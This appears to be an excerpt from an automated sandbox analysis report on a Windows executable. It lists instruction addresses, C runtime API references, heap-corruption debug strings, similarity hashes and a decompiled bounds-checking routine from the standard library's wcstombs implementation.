0x00425dce
0x00425db2
0x00425db8
0x00425db8
0x00425de3
0x00425dee
0x00425df3
0x00425df3
0x00425d9a
0x00425d8c
0x00425cee
0x00425cf3
0x00425cf6
0x00425cfa
0x00425cfc
0x00425d03
0x00425d10
0x00425d13
0x00425d25
0x00425d2b
0x00425d49
0x00425d49
0x00425d4b
0x00425d2d
0x00425d33
0x00425d33
0x00425d62
0x00425d6f
0x00425d74
0x00425d74
0x00425d13
0x00425d03
0x00425d77
0x00425ce8
0x00425cdc
0x00426831
0x00426831
0x0042683a
0x00426869
0x00426971
0x00426971
0x00426971
0x00426978
0x00000000
0x00000000
0x0042697a
0x0042697a
0x00426980
0x00426983
0x00426991
0x00000000
0x00426991
0x00426985
0x00426985
0x00426988
0x0042698c
0x0042698f
0x00000000
0x00000000
0x00000000
0x00426993
0x0042536e
0x0042536e
0x0042536e
0x00425376
0x00000000
0x00000000
0x0042537c
0x00425383
0x00425388
0x0042538d
0x004253d9
0x004253df
0x004253e2
0x00426871
0x00426877
0x0042687a
0x0042687c
0x00426883
0x00426886
0x0042688b
0x0042688b
0x0042688e
0x0042688e
0x00426886
0x00426897
0x0042689e
0x004268a3
0x004268a6
0x004268be
0x004268c1
0x004268c3
0x004268e6
0x004268ee
0x004268f3
0x004268f6
0x004268f8
0x00426971
0x00426971
0x00426971
0x00426978
0x00000000
0x00000000
0x00000000
0x00426978
0x00426971
0x004268fa
0x00426900
0x00426907
0x0042690c
0x0042690f
0x00426927
0x0042692a
0x0042692c
0x00426968
0x0042696b
0x0042696b
0x0042696e
0x00000000
0x0042696e
0x0042692e
0x00426934
0x00426942
0x00426950
0x00426953
0x0042695e
0x00426963
0x004268c5
0x004268c5
0x004268cb
0x004268d2
0x004268d9
0x004268de
0x004268de
0x00000000
0x004268c3
0x004253e8
0x004253e8
0x004253ef
0x004253f2
0x00000000
0x004253f8
0x004253f8
0x00425402
0x00425406
0x00425416
0x00425422
0x00425425
0x0042542f
0x00425432
0x00425439
0x00425440
0x00425446
0x0042544c
0x00425452
0x00425455
0x0042545c
0x00425460
0x00425467
0x00425467
0x0042546b
0x0042546d
0x00000000
0x00000000
0x00425473
0x00425479
0x00425482
0x0042548a
0x0042548f
0x00425492
0x00425494
0x004254bd
0x004254c0
0x004254cf
0x004254d5
0x004254dc
0x00425672
0x00425675
0x00425675
0x00425677
0x00000000
0x00425677
0x004254e2
0x004254e8
0x004254ef
0x00000000
0x00425667
0x0042566a
0x0042566d
0x00000000
0x00000000
0x004254f6
0x00000000
0x00000000
0x00425518
0x00425518
0x0042551b
0x0042551f
0x00425522
0x00425560
0x00425560
0x00425563
0x00425567
0x0042556a
0x00425588
0x00425588
0x0042558b
0x0042558f
0x00425592
0x004255c4
0x004255c4
0x004255c4
0x004255c6
0x004255c8
0x004255cb
0x004255cb
0x004255ce
0x004255d1
0x004255db
0x004255db
0x004255e5
0x00000000
0x004255e5
0x00425594
0x00425594
0x00425597
0x0042559b
0x0042559e
0x00000000
0x00000000
0x004255a0
0x004255a0
0x004255a3
0x004255a7
0x004255aa
0x00000000
0x00000000
0x004255ac
0x004255ac
0x004255af
0x004255b3
0x004255b6
0x00000000
0x00000000
0x004255b8
0x004255b8
0x004255bb
0x004255bf
0x004255c2
0x004255ea
0x004255ea
0x004255ec
0x004255ee
0x004255f1
0x004255f1
0x004255f4
0x004255f7
0x00425601
0x00425601
0x00000000
0x0042560b
0x00000000
0x004255c2
0x0042556c
0x0042556c
0x0042556f
0x00425573
0x00425576
0x00000000
0x00425578
0x00425578
0x0042557b
0x0042557e
0x00000000
0x0042557e
0x00425576
0x00425524
0x00425524
0x00425527
0x0042552b
0x0042552e
0x00000000
0x00425530
0x00425530
0x00425533
0x00425536
0x0042553c
0x0042553f
0x00425542
0x0042554c
0x00000000
0x0042554c
0x00000000
0x0042560d
0x00425610
0x00425613
0x00000000
0x00000000
0x004254fb
0x004254fe
0x00425501
0x0042550a
0x0042550d
0x00000000
0x00000000
0x00425618
0x00425618
0x0042561b
0x0042561f
0x00425622
0x0042564e
0x00425651
0x00425651
0x00425653
0x00000000
0x00425624
0x00425624
0x00425627
0x0042562a
0x00425630
0x00425633
0x00425636
0x00425640
0x00000000
0x00425640
0x00000000
0x00425656
0x0042565c
0x0042565f
0x00000000
0x00000000
0x00000000
0x00000000
0x00425496
0x0042549f
0x004254b5
0x0042567a
0x00000000
0x0042567a
0x00425494
0x0042567f
0x00425683
0x00425685
0x004256a1
0x00425687
0x0042568a
0x00425693
0x0042569c
0x0042569c
0x004256a8
0x004256b3
0x004256b5
0x004256ec
0x004256ec
0x004256f2
0x004256f5
0x004256f8
0x004256fc
0x0042573d
0x0042573d
0x00425741
0x00425751
0x00425751
0x00425758
0x00425764
0x00425768
0x0042576a
0x004257e5
0x004257e8
0x004257f7
0x004257fd
0x00425804
0x004267dc
0x004267e2
0x004267e8
0x00426814
0x0042681a
0x0042681a
0x0042681d
0x00426827
0x00426829
0x0042682e
0x0042682e
0x00426831
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x004267ea
0x004267ed
0x004267f0
0x004267fe
0x00426803
0x00426806
0x00000000
0x00426806
0x0042580a
0x00425810
0x00425817
0x00000000
0x0042581e
0x0042581e
0x00425825
0x00425830
0x00425839
0x00425839
0x0042583c
0x0042583c
0x0042583f
0x00425846
0x00425848
0x0042584d
0x0042584d
0x00425850
0x00425850
0x00425853
0x004259f2
0x004259f5
0x004259fb
0x004259fe
0x00425a0c
0x00425a11
0x00425a14
0x00425a18
0x00425a1d
0x00425a1d
0x00425a20
0x00425a20
0x00000000
0x00000000
0x00425f4e
0x00425f4e
0x00425f55
0x00425f63
0x00425f63
0x00425f6a
0x00000000
0x00000000
0x00425f6c
0x00425f6c
0x00425f6f
0x00425f6f
0x00425f72
0x00425f75
0x00425f8b
0x00425f8b
0x00425f8e
0x00425f8e
0x00425f91
0x00425f94
0x00425fa0
0x00000000
0x00425fa0
0x00425f77
0x00425f77
0x00425f7e
0x00000000
0x00000000
0x00425f80
0x00425f83
0x00425f86
0x00000000
0x00425f86
0x00425f57
0x00425f5a
0x00425f5c
0x00000000
0x00000000
0x0042635a
0x0042635a
0x00426361
0x00426368
0x00426383
0x00426383
0x0042638a
0x004263b0
0x004263b0
0x004263b7
0x004263b9
0x004263b9
0x004263c0
0x004263c0
0x004263c0
0x004263c8
0x004263d0
0x004263d2
0x00000000
0x00000000
0x004263d8
0x004263d8
0x004263de
0x004263e1
0x004263e4
0x004263e6
0x00000000
0x00000000
0x004263e8
0x004263ee
0x004263f1
0x004263fd
0x00426400
0x00426406
0x0042640b
0x0042640e
0x00426411
0x00426415
0x0042641c
0x00426423
0x0042642a
0x0042642e
0x00426436
0x00426438
0x0042643f
0x0042643f
0x00426442
0x00426445
0x00426448
0x00426454
0x00000000
0x00426454
0x0042643a
0x00000000
0x0042643a
0x0042645f
0x0042645f
0x00426466
0x0042646e
0x00426470
0x00426472
0x00426475
0x00426479
0x00426480
0x00426482
0x0042659b
0x0042659b
0x004265a2
0x0042675e
0x00426761
0x00426764
0x00426767
0x0042676b
0x00426772
0x0042677a
0x00426781
0x004267d5
0x00000000
0x004267d5
0x00426783
0x00426783
0x00426787
0x00426789
0x0042678e
0x00426791
0x0042679a
0x0042679d
0x004267a0
0x004267ab
0x004267ac
0x004267b2
0x004267b3
0x004267b6
0x004267b7
0x004267bb
0x004267bb
0x004267be
0x004267bf
0x004267ce
0x004267d0
0x004267d0
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x004265a8
0x004265a8
0x004265af
0x004265be
0x004265be
0x004265c4
0x004265c7
0x004265ca
0x004265cc
0x00000000
0x00000000
0x004265d2
0x004265d8
0x004265db
0x004265e1
0x004265e4
0x004265e7
0x004265eb
0x004265f2
0x004265f9
0x00426600
0x00426604
0x0042660c
0x0042660e
0x00426615
0x00426615
0x00426618
0x0042661b
0x0042661e
0x0042662a
0x00426630
0x00426637
0x00426680
0x00426680
0x00426687
0x004266bf
0x004266bf
0x004266bf
0x004266c7
0x004266cf
0x004266d1
0x00000000
0x00000000
0x004266d7
0x004266d7
0x004266dd
0x004266e0
0x004266e3
0x004266e5
0x00000000
0x00000000
0x004266e7
0x004266ed
0x004266f0
0x004266fc
0x004266ff
0x00426705
0x0042670a
0x0042670d
0x00426710
0x00426714
0x0042671b
0x00426722
0x00426729
0x0042672d
0x00426735
0x00426737
0x0042673e
0x00426741
0x00426744
0x00426747
0x00426753
0x00000000
0x00426753
0x00426739
0x00000000
0x00426739
0x00000000
0x004266bf
0x00426689
0x00426689
0x0042668f
0x00426692
0x00426695
0x00426697
0x004266a4
0x004266a7
0x004266a7
0x004266aa
0x004266ad
0x004266b9
0x00426699
0x0042669c
0x0042669f
0x0042669f
0x00000000
0x00426697
0x00426639
0x0042663f
0x00426642
0x00426648
0x0042664b
0x0042664e
0x00426652
0x00426659
0x00426660
0x00426667
0x0042666b
0x00426673
0x00426675
0x0042667c
0x00000000
0x0042667c
0x00426677
0x00000000
0x00426677
0x00426610
0x00000000
0x00426610
0x004265b1
0x004265b1
0x004265b8
0x00000000
0x00000000
0x00000000
0x004265b8
0x00426488
0x00426488
0x0042648e
0x00426491
0x00426494
0x00426496
0x00000000
0x00000000
0x0042649c
0x0042649c
0x0042649f
0x004264a2
0x004264a5
0x004264b1
0x004264bd
0x004264c0
0x004264c3
0x004264c8
0x004264cb
0x004264ce
0x004264d2
0x004264d9
0x004264e0
0x004264e7
0x004264eb
0x004264f3
0x004264f5
0x004264fc
0x004264fc
0x004264fc
0x00426504
0x0042650c
0x0042650e
0x00000000
0x00000000
0x00426514
0x00426514
0x0042651a
0x0042651d
0x00426520
0x00426522
0x00000000
0x00000000
0x00426524
0x0042652a
0x0042652d
0x00426539
0x0042653c
0x00426542
0x00426547
0x0042654a
0x0042654d
0x00426551
0x00426558
0x0042655f
0x00426566
0x0042656a
0x00426572
0x00426574
0x0042657b
0x0042657e
0x00426581
0x00426584
0x00426590
0x00000000
0x00426590
0x00426576
0x00000000
0x00426576
0x00000000
0x004264fc
0x004264f7
0x00000000
0x004264f7
0x0042638c
0x0042638c
0x0042638f
0x00426392
0x00426395
0x00426398
0x00426398
0x0042639b
0x0042639e
0x004263aa
0x00000000
0x004263aa
0x0042636a
0x00426370
0x00426373
0x00426379
0x0042637c
0x00000000
0x00000000
0x00425e02
0x00425e02
0x00000000
0x00000000
0x00426342
0x00426342
0x00426345
0x0042634b
0x0042634f
0x00426351
0x00426355
0x00426831
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x00426353
0x00000000
0x00000000
0x00425f4a
0x00425f4a
0x00000000
0x00000000
0x00425858
0x00425858
0x0042585f
0x00425861
0x00425863
0x00425866
0x00425866
0x00425868
0x00425868
0x0042586b
0x004259f2
0x004259f2
0x004259f5
0x004259fb
0x004259fe
0x00425a0c
0x00425a11
0x00425a14
0x00425a18
0x00425a1d
0x00425a1d
0x00425a20
0x00425a20
0x00425a23
0x00425a23
0x00425a2a
0x00000000
0x00000000
0x00000000
0x00425a2a
0x00000000
0x00425e09
0x00425e09
0x00425e10
0x00425e1f
0x00425e1f
0x00425e26
0x00425e62
0x00425e62
0x00425e69
0x00425f48
0x00425fa6
0x00425fa6
0x00425faa
0x00426170
0x00426170
0x00426170
0x00426174
0x00426176
0x00000000
0x00000000
0x0042617c
0x0042617c
0x00426180
0x00426188
0x00426188
0x00426190
0x00426198
0x0042619a
0x004261c3
0x004261c6
0x004261c6
0x004261c9
0x0042619c
0x004261a2
0x004261a5
0x004261ab
0x004261bb
0x004261bb
0x0042622f
0x0042622f
0x00426233
0x00426235
0x00426297
0x00426297
0x0042629a
0x0042629a
0x0042629d
0x004262a0
0x004262a4
0x004262ab
0x004262b3
0x00000000
0x004262b3
0x00426237
0x0042623d
0x00426240
0x00426246
0x0042624c
0x00426252
0x00426256
0x0042625c
0x00426263
0x0042627a
0x0042627a
0x0042627d
0x0042627d
0x00426280
0x00426283
0x0042628f
0x00426295
0x00000000
0x00426295
0x00426265
0x00426265
0x00426268
0x00426268
0x0042626b
0x0042626e
0x00000000
0x00000000
0x00426270
0x00426273
0x00426275
0x00000000
0x00426275
0x00426182
0x00426182
0x00426186
0x004261ce
0x004261ce
0x004261d6
0x004261de
0x004261e0
0x00426226
0x00426229
0x00426229
0x0042622c
0x004261e2
0x004261e2
0x004261e6
0x0042620d
0x00426213
0x00426219
0x0042621c
0x0042621c
0x0042621e
0x004261e8
0x004261e8
0x004261ef
0x00426202
0x00426205
0x00426205
0x00426208
0x004261f1
0x004261f7
0x004261fa
0x004261fa
0x0042620b
0x00426224
0x00000000
0x004261e0
0x00000000
0x00426186
0x004262b8
0x004262b8
0x004262bc
0x004262be
0x004262c0
0x004262c6
0x004262c8
0x004262c8
0x004262ce
0x004262ce
0x004262d2
0x004262d4
0x004262d4
0x004262de
0x004262e5
0x00426338
0x00000000
0x004262e7
0x004262e7
0x004262e7
0x004262eb
0x004262ed
0x00426336
0x00426831
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x004262ef
0x004262ef
0x004262f2
0x004262f2
0x004262f5
0x004262f8
0x004262f8
0x004262fc
0x00426314
0x00426318
0x0042631a
0x00426329
0x00426333
0x0042631c
0x0042631c
0x0042631f
0x00426325
0x00426325
0x004262fe
0x004262fe
0x00426301
0x00426307
0x00426309
0x0042630f
0x0042630f
0x00000000
0x004262fc
0x00000000
0x00000000
0x00000000
0x00425fb0
0x00425fb0
0x00425fb0
0x00425fb4
0x00425fb6
0x00000000
0x00000000
0x00425fbc
0x00425fbc
0x00425fc0
0x00425fc8
0x00425fc8
0x00425fd0
0x00425fd8
0x00425fda
0x00426013
0x00426016
0x00426016
0x00426019
0x00425fdc
0x00425fdc
0x00425fe2
0x00425fe8
0x00425fef
0x00425ff5
0x00425ffb
0x0042600b
0x0042600b
0x004260ad
0x004260ad
0x004260b1
0x004260b3
0x00426123
0x00426123
0x00426126
0x00426126
0x00426129
0x0042612c
0x00426130
0x00426137
0x0042613f
0x00000000
0x0042613f
0x004260b5
0x004260bb
0x004260be
0x004260ca
0x004260cd
0x004260ce
0x004260d4
0x004260da
0x004260dc
0x004260e2
0x004260e8
0x004260ef
0x00426106
0x00426106
0x00426109
0x00426109
0x0042610c
0x0042610f
0x0042611b
0x00426121
0x00000000
0x00426121
0x004260f1
0x004260f1
0x004260f4
0x004260f4
0x004260f7
0x004260fa
0x00000000
0x00000000
0x004260fc
0x004260ff
0x00426101
0x00000000
0x00426101
0x00425fc2
0x00425fc2
0x00425fc6
0x00426021
0x00426021
0x00426029
0x00426031
0x00426033
0x004260a4
0x004260a7
0x004260a7
0x004260aa
0x00426035
0x00426035
0x00426039
0x00426070
0x00426076
0x0042607c
0x0042607e
0x00426083
0x00426083
0x00426089
0x0042608f
0x00426096
0x0042609c
0x0042603b
0x0042603b
0x00426042
0x00426065
0x00426068
0x00426068
0x0042606b
0x00426044
0x00426044
0x0042604a
0x00426050
0x00426057
0x0042605d
0x0042605d
0x0042606e
0x004260a2
0x00000000
0x00426033
0x00000000
0x00425fc6
0x00426144
0x00426144
0x00426148
0x0042614a
0x0042614c
0x00426152
0x00426154
0x0042615a
0x0042615d
0x0042615f
0x00426165
0x00426165
0x00000000
0x0042616b
0x00425e6f
0x00425e6f
0x00425e72
0x00425e75
0x00425e78
0x00425e84
0x00425e8a
0x00425e91
0x00425e94
0x00425ea2
0x00425ea5
0x00425ea8
0x00425eab
0x00425eb7
0x00425ebd
0x00425ec4
0x00425ec6
0x00425ec9
0x00425ecc
0x00425ecf
0x00425ed3
0x00425ed5
0x00425ed8
0x00425ed8
0x00425edb
0x00425edb
0x00425ed3
0x00425ede
0x00000000
0x00425ede
0x00425e96
0x00425e96
0x00425e9d
0x00425ea0
0x00425ee7
0x00425eed
0x00425ef0
0x00425ef6
0x00425efa
0x00425f22
0x00425f25
0x00425f25
0x00425f28
0x00425f2b
0x00425f2f
0x00425f36
0x00425f3e
0x00425efc
0x00425efc
0x00425f03
0x00425f05
0x00425f08
0x00425f08
0x00425f0b
0x00425f0e
0x00425f10
0x00425f13
0x00425f13
0x00425f16
0x00425f16
0x00425f0e
0x00425f19
0x00425f19
0x00000000
0x00425efa
0x00000000
0x00425ea0
0x00425e28
0x00425e28
0x00425e2b
0x00425e2b
0x00425e2e
0x00425e31
0x00425e47
0x00425e47
0x00425e4a
0x00425e4a
0x00425e4d
0x00425e50
0x00425e5c
0x00000000
0x00425e5c
0x00425e33
0x00425e33
0x00425e3a
0x00000000
0x00000000
0x00425e3c
0x00425e3f
0x00425e42
0x00000000
0x00425e42
0x00425e12
0x00425e15
0x00425e18
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00425817
0x0042576c
0x0042576c
0x00425770
0x0042577e
0x00425781
0x0042578a
0x00425793
0x00425799
0x004257a2
0x004257ab
0x004257ae
0x004257b1
0x004257b4
0x004257b8
0x00000000
0x004257ba
0x004257ba
0x004257c1
0x004257c3
0x004257cf
0x004257d2
0x004257c5
0x004257c7
0x004257ca
0x004257ca
0x004257da
0x00000000
0x004257da
0x004257b8
0x00425772
0x00425772
0x00425776
0x00000000
0x00000000
0x00425778
0x00425778
0x0042577c
0x00000000
0x00000000
0x00000000
0x0042577c
0x0042575a
0x0042575a
0x0042575e
0x00426842
0x00426848
0x0042684f
0x00426856
0x0042685b
0x00000000
0x0042685b
0x00000000
0x0042575e
0x00425743
0x00425743
0x0042574a
0x00000000
0x0042574c
0x00000000
0x0042574c
0x0042574a
0x004256fe
0x004256fe
0x00425702
0x00425722
0x00425725
0x00425725
0x00425728
0x0042572f
0x00425734
0x00425737
0x00000000
0x00425737
0x00425704
0x00425704
0x00425708
0x00000000
0x0042570a
0x00425712
0x00425717
0x0042571a
0x00000000
0x0042571a
0x004256b7
0x004256b7
0x004256bd
0x004256c0
0x004256cd
0x004256d6
0x00000000
0x004256d6
0x004256c2
0x004256c8
0x004256cb
0x004256e4
0x004256e4
0x004256e6
0x00000000
0x004256e6
0x00000000
0x004256cb
0x004256b5
0x0042538f
0x00425395
0x004253ad
0x004253b2
0x004253b5
0x004253b5
0x004253bb
0x004253c3
0x004253cb
0x004253d0
0x004253d3
0x00000000
0x004253b5
0x0042538d
0x00000000
0x0042536e
0x00426971
0x00426831
0x00425bdd
0x00425be2
0x00425bec
0x00425bee
0x00425c54
0x00425c57
0x00425c5a
0x00425c5e
0x00425c60
0x00425c67
0x00425c69
0x00425c6d
0x00425c75
0x00425c7b
0x00425c8e
0x00425c8e
0x00425c91
0x00425c7d
0x00425c83
0x00425c83
0x00425ca6
0x00425caa
0x00425caf
0x00425caf
0x00425c6d
0x00425c67
0x00425bf0
0x00425bf2
0x00425bf5
0x00425bf8
0x00425bfc
0x00425bfe
0x00425c05
0x00425c07
0x00425c0b
0x00425c13
0x00425c19
0x00425c2c
0x00425c2c
0x00425c2f
0x00425c1b
0x00425c1b
0x00425c21
0x00425c21
0x00425c46
0x00425c4a
0x00425c4f
0x00425c4f
0x00425c0b
0x00425c05
0x00425c52
0x00000000
0x00425cb2
0x00425a40
0x00425a46
0x00425a4d
0x00425a52
0x00425a55
0x00425a5b
0x00425a62
0x00425bb0
0x00425bb6
0x00425bb9
0x00425bc4
0x00425bc9
0x00000000
0x00425bc9
0x00425a68
0x00425a68
0x00425a6c
0x00425ac7
0x00425ac7
0x00425acb
0x00425acd
0x00425ba5
0x00425ba8
0x00425ba8
0x00425bab
0x00425bae
0x00000000
0x00425bce
0x00425ad3
0x00425ad3
0x00425ad7
0x00425ae5
0x00425ae9
0x00425aeb
0x00425b8f
0x00425b97
0x00425b9d
0x00425b9d
0x00425ba0
0x00425af1
0x00425af7
0x00425afd
0x00425b05
0x00425b0a
0x00425b0d
0x00425b0f
0x00425b14
0x00425b14
0x00425b17
0x00425b1e
0x00425b23
0x00425b26
0x00425b26
0x00425b31
0x00425b3b
0x00425b60
0x00425b65
0x00425b6b
0x00425b6f
0x00425b78
0x00425b81
0x00425b81
0x00000000
0x00425ba3
0x00425ad9
0x00425ad9
0x00000000
0x00425ad9
0x00425a6e
0x00425a6e
0x00425a72
0x00425a8f
0x00425a8f
0x00425a93
0x00000000
0x00000000
0x00425a99
0x00425a9f
0x00425aa2
0x00425abf
0x00425ac1
0x00000000
0x00000000
0x00000000
0x00425ac1
0x00425a74
0x00425a74
0x00425a7b
0x00425a86
0x00425a86
0x00425a8d
0x00000000
0x00000000
0x00000000
0x00425a8d
0x00425a7d
0x00425a7d
0x00425a84
0x00000000
0x00000000
0x00000000
0x00425a84
0x00425a23
0x004259f2
0x004259e1
0x00000000
0x004259e1

APIs

_memset.LIBCMT ref: 004258B8
__un_inc.LIBCMTD ref: 00425A0C
__inc.LIBCMTD ref: 00425A4D
_memset.LIBCMT ref: 00425C4A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004269F0

Strings

{, xrefs: 004259E6
, xrefs: 00425A86
], xrefs: 004258D1
{, xrefs: 00425A8F

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Locale_memset$UpdateUpdate::~___inc__un_inc
String ID: $]${${
API String ID: 2298401608-1336171634
Opcode ID: a5112e6f43ced7854c4912bc97969c501a7523d6caf36152ba1fe8e6cc660ed2
Instruction ID: 0f6368e70acd43544479809dbe2a2e0ef4f64c66fb7ffbac9c832246e33bd15f
Opcode Fuzzy Hash: a5112e6f43ced7854c4912bc97969c501a7523d6caf36152ba1fe8e6cc660ed2
Instruction Fuzzy Hash: E6B1B370E056ACCBCF24CBA9E4906FDBFB1AF02315F68419EE495A7342C6395A81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041E1CE, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041E24B
_CheckBytes.LIBCMTD ref: 0041E2E9
_CheckBytes.LIBCMTD ref: 0041E392

Strings

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041E280
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0041E3BC
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041E31E
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0041E431

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: 53be1e3d3f51798d0a5ef915e02137e12ee6f69f1c42bfbf3f35d903f55d396e
Instruction ID: e132fe96e1c8d88170ea02a211dace828922796fe186c37d2f66a71cf4f32901
Opcode Fuzzy Hash: 53be1e3d3f51798d0a5ef915e02137e12ee6f69f1c42bfbf3f35d903f55d396e
Instruction Fuzzy Hash: D56143B4E00105DBDB18CB85D895FBFB3B5BB48304F248159E915AB3C1D279E882CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00435F14, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00435F14(signed int __eax) {
				intOrPtr _t45;
				void* _t50;
				signed int _t54;
				void* _t60;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t94;

				_t85 = _t84 + 0x10;
				 *(_t82 - 0xc) = __eax;
				if( *(_t82 - 0xc) != 0xffffffff) {
					_t71 =  *(_t82 - 0xc) + 1;
					 *(_t82 - 0xc) = _t71;
					__eflags =  *(_t82 + 0xc);
					if( *(_t82 + 0xc) == 0) {
						L27:
						__eflags =  *(_t82 + 8);
						if( *(_t82 + 8) != 0) {
							 *( *(_t82 + 8)) =  *(_t82 - 0xc);
						}
						_t45 =  *((intOrPtr*)(_t82 - 4));
						L30:
						return _t45;
					}
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					if( *(_t82 - 0xc) <=  *(_t82 + 0x10)) {
						L26:
						_t73 =  *(_t82 + 0xc) +  *(_t82 - 0xc);
						__eflags = _t73;
						 *((char*)(_t73 - 1)) = 0;
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t82 + 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t82 + 0x18)) == 0xffffffff) {
						L25:
						 *(_t82 - 0xc) =  *(_t82 + 0x10);
						 *((intOrPtr*)(_t82 - 4)) = 0x50;
						goto L26;
					}
					 *( *(_t82 + 0xc)) = 0;
					__eflags =  *(_t82 + 0x10) - 0xffffffff;
					if( *(_t82 + 0x10) != 0xffffffff) {
						__eflags =  *(_t82 + 0x10) - 0x7fffffff;
						if( *(_t82 + 0x10) != 0x7fffffff) {
							__eflags =  *(_t82 + 0x10) - 1;
							if( *(_t82 + 0x10) > 1) {
								__eflags =  *0x43d1bc -  *(_t82 + 0x10) - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t67 =  *(_t82 + 0x10) - 1;
									__eflags = _t67;
									 *(_t82 - 0x2c) = _t67;
								} else {
									_t54 =  *0x43d1bc; // 0xffffffff
									 *(_t82 - 0x2c) = _t54;
								}
								_t71 =  *(_t82 - 0x2c);
								_t52 =  *(_t82 + 0xc) + 1;
								__eflags =  *(_t82 + 0xc) + 1;
								E0041BED0(_t80, _t52, 0xfe, _t71);
								_t85 = _t85 + 0xc;
							}
						}
					}
					_t65 =  *(_t82 + 0x10);
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					asm("sbb edx, edx");
					 *(_t82 - 0x18) =  ~_t71;
					if( *(_t82 - 0xc) ==  *(_t82 + 0x10)) {
						_push(L"sizeInBytes > retsize");
						_push(0);
						_push(0x157);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t50 = L0041F590();
						_t85 = _t85 + 0x14;
						__eflags = _t50 - 1;
						if(_t50 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t82 - 0x18);
					if( *(_t82 - 0x18) != 0) {
						goto L25;
					} else {
						 *((intOrPtr*)(L0041F530(_t65))) = 0x22;
						E0041F2C0(_t60, _t65, _t80, _t81, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
						_t45 = 0x22;
						goto L30;
					}
				}
				if( *(_t82 + 0xc) != 0) {
					 *( *(_t82 + 0xc)) = 0;
					if( *(_t82 + 0x10) != 0xffffffff &&  *(_t82 + 0x10) != 0x7fffffff &&  *(_t82 + 0x10) > 1) {
						_t94 =  *0x43d1bc -  *(_t82 + 0x10) - 1; // 0xffffffff
						if(_t94 >= 0) {
							_t79 =  *(_t82 + 0x10) - 1;
							__eflags = _t79;
							 *(_t82 - 0x28) = _t79;
						} else {
							_t69 =  *0x43d1bc; // 0xffffffff
							 *(_t82 - 0x28) = _t69;
						}
						_t61 =  *(_t82 + 0xc) + 1;
						E0041BED0(_t80,  *(_t82 + 0xc) + 1, 0xfe,  *(_t82 - 0x28));
					}
				}
				_t45 =  *((intOrPtr*)(L0041F530(_t61)));
				goto L30;
			}

0x00435f14
0x00435f17
0x00435f1e
0x00435f8a
0x00435f8d
0x00435f90
0x00435f94
0x00436081
0x00436081
0x00436085
0x0043608d
0x0043608d
0x0043608f
0x00436092
0x00436095
0x00436095
0x00435f9d
0x00435fa0
0x00436077
0x0043607a
0x0043607a
0x0043607d
0x00000000
0x0043607d
0x00435fa6
0x00435faa
0x0043606a
0x0043606d
0x00436070
0x00000000
0x00436070
0x00435fb3
0x00435fb6
0x00435fba
0x00435fbc
0x00435fc3
0x00435fc5
0x00435fc9
0x00435fd1
0x00435fd7
0x00435fe6
0x00435fe6
0x00435fe9
0x00435fd9
0x00435fd9
0x00435fde
0x00435fde
0x00435fec
0x00435ff8
